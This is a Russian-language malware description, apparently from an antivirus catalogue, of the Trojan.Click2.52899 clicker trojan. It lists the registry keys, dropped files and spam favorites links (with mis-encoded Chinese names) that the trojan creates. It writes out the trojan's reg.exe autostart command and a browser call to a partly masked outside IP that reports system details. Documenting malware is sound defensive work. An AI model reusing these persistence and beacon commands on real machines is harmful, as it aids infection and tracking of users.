Trojan.Click2.52899

Техническая информация

Для обеспечения автозапуска и распространения:

Модифицирует следующие ключи реестра:

[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'micrososot' = '%PROGRAM_FILES%\winsoft9\t2.exe '

Создает или изменяет следующие файлы:

%ALLUSERSPROFILE%\Start Menu\Programs\Startup\hihotrun.jse

Вредоносные функции:

Создает и запускает на исполнение:

%PROGRAM_FILES%\winsoft9\test.exe
%TEMP%\PPTV(pplive)_forqd313.exe
%PROGRAM_FILES%\winsoft9\t2.exe
%PROGRAM_FILES%\winsoft9\bho.exe
%TEMP%\PPTV(pplive)_forqd313.exe (загружен из сети Интернет)

Запускает на исполнение:

<SYSTEM32>\reg.exe add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v "micrososot" /d "%PROGRAM_FILES%\winsoft9\t2.exe " /f
%PROGRAM_FILES%\Internet Explorer\IEXPLORE.EXE http://58.###.198.119:8080/count.asp?ma################################ Windows XP&flag=fac166ca13297b62a7103ae0bb62a92f&user=test
<SYSTEM32>\wscript.exe "%PROGRAM_FILES%\winsoft9\1.vbs"

Изменения в файловой системе:

Создает следующие файлы:

%HOMEPATH%\Favorites\µ±µ±НшЎЄНшЙП№єОпЦРРД.url
%HOMEPATH%\Favorites\ЧїФЅСЗВнС·НшЙП№єОпНјКйЈ¬КЦ»ъЈ¬КэВлЈ¬јТµзЈ¬»ЇЧ±Ж·Ј¬ЦУ±нЈ¬КЧКОµИФЪПЯПъКЫ.url
%HOMEPATH%\Favorites\їґїґµзКУѕзФЪПЯґуИ«,,,ЧоєГВМЙ«ЧоРВёЯЛЩГв·СµзКУѕзНшХѕ!.url
%HOMEPATH%\Favorites\45575.comФЪПЯµДРЎУОП·.ЧоєГНжЧоРВЧоїмїбі¬ј¶РЎУОП·!.url
%HOMEPATH%\Favorites\ЦР№ъёЈАыІКЖ±Ј¬МеУэІКЖ±µДН¶ЧўЦРРД.ІКЖ±ґуУ®јТ!.url
%HOMEPATH%\Favorites\ЧоРВФЪПЯРЎЛµГв·СµДФД¶Б.·бё»ДЪИЭЛЩ¶ИїмµДРЎЛµХѕ!.url
%HOMEPATH%\Favorites\МФ±¦Нш - МФЈЎОТПІ»¶.url
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\U98D4X8H\qvoddianying[1]
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\2VAZY7AN\data[1].xml
%WINDIR%\Survival_0.txt
%TEMP%\PPTV(pplive)_forqd313.exe
%HOMEPATH%\Favorites\ГАЕ®·бРШґуГШѕч-20МмДЪСёЛЩФцґуґуґу!.url
%HOMEPATH%\Favorites\°¬іИЕ®Ч°--ЧоГААцК±ЙРµДЕ®Ч°Ж·ЕЖ.ГАЕ®ВтТВЈ¬ГлЙ±°¬іИЕ®Ч°!!.url
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\PPTV(pplive)_forqd313[1].exe
%PROGRAM_FILES%\winsoft9\3.vbs
%PROGRAM_FILES%\winsoft9\test.exe
%PROGRAM_FILES%\winsoft9\t2.exe
%PROGRAM_FILES%\winsoft9\1.vbs
%PROGRAM_FILES%\winsoft9\bho.exe
%PROGRAM_FILES%\winsoft9\WINDOWS\time\mian.dil
%PROGRAM_FILES%\winsoft9\WINDOWS\time\mian.dll
%HOMEPATH%\Favorites\ЧоРВј«Ж·ВМЙ«єГµДµзУ°ївГв·С.ёЯЗеёЯЛЩЈЎМмМмёьРВ!!.url
%APPDATA%\Microsoft\Internet Explorer\Quick Launch\Internet Explorer.url
%HOMEPATH%\Favorites\МмМмёьРВ!!.url
C:\b.html
%PROGRAM_FILES%\winsoft9\taobao.ico
%PROGRAM_FILES%\winsoft9\game.ico